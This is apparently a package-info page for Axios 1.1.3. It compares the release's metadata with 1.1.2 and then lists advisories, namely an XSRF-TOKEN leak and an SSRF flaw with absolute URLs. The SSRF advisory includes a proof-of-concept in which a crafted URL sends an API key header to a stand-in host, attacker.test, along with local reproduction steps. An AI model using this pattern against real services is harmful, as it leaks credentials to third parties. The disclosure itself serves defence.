Axios version 1.1.3 represents a subtle but important update to the popular promise-based HTTP client for browsers and Node.js, building upon the solid foundation of version 1.1.2. Both versions share the same core dependencies, including form-data, proxy-from-env, and follow-redirects, ensuring consistent handling of form data, proxy configurations, and HTTP redirects. The development dependencies, essential for building, testing, and maintaining the library, also remain largely unchanged, indicating a focus on stability and continuous integration.
While the core functionality appears consistent across both versions, the difference lies in the internal improvements and fixes implemented in 1.1.3. Examining the dist object, we can see a slight increase in the unpackedSize from 1300731 bytes in 1.1.2 to 1311679 bytes in 1.1.3 and the releaseDate is more recent. This is indicative of minor code additions or fixes that address edge cases or improve performance. For developers, updating to 1.1.3 ensures they are using the most polished and refined version of Axios, potentially mitigating unforeseen bugs or benefiting from subtle performance enhancements. It is generally good practice to use the latest stable version available.
All the vulnerabilities related to the version 1.1.3 of the package
Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.
It is recommended that:
baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.
baseURL and does not validate path parameters is affected by this issue.